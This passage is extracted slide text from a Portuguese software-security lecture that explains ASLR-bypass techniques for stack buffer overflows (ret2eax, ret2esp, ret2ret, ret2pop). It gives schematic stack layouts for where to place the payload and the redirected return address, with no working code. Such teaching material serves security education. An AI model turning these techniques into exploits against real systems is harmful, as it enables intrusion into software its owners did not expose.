se usar instruções do programa ou utilizar dados brutos
do mesmo como instruções para chegar à execução do
payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
257.
ASLR
ret2eax
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Payload retornado pela função explorada.
Sobrescrever endereço de retorno para executar: jmp
eax.
vetor de injeção
payload &(jmp eax) ...
função vulnerável
buffer explorado EBP anterior retaddr ...
eax
258.
ASLR
ret2esp
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Payload na stack, acima do endereço de retorno.
Função explorada não manipula strings (Não coloca
NULL).
Retornar para instrução: jmp [esp].
esp
vetor de injeção
payload &(jmp esp) ptr buffer
função vulnerável
buffer explorado EBP anterior retaddr ptr buffer
259.
ASLR
ret2ret
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Payload na stack, acima do endereço de retorno.
Função explorada não manipula strings (Não coloca
NULL).
Retornar para instrução: ret.
esp
vetor de injeção
payload &(ret) ptr buffer
função vulnerável
buffer explorado EBP anterior retaddr ptr buffer
260.
ASLR
ret2pop
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa
Payload na stack, acima do endereço de retorno.
Retornar para instrução leave-ret.
esp
vetor de injeção
payload &(leave-ret) 0x00 ptr buffer
função vulnerável
buffer explorado EBP anterior retaddr ... ptr buffer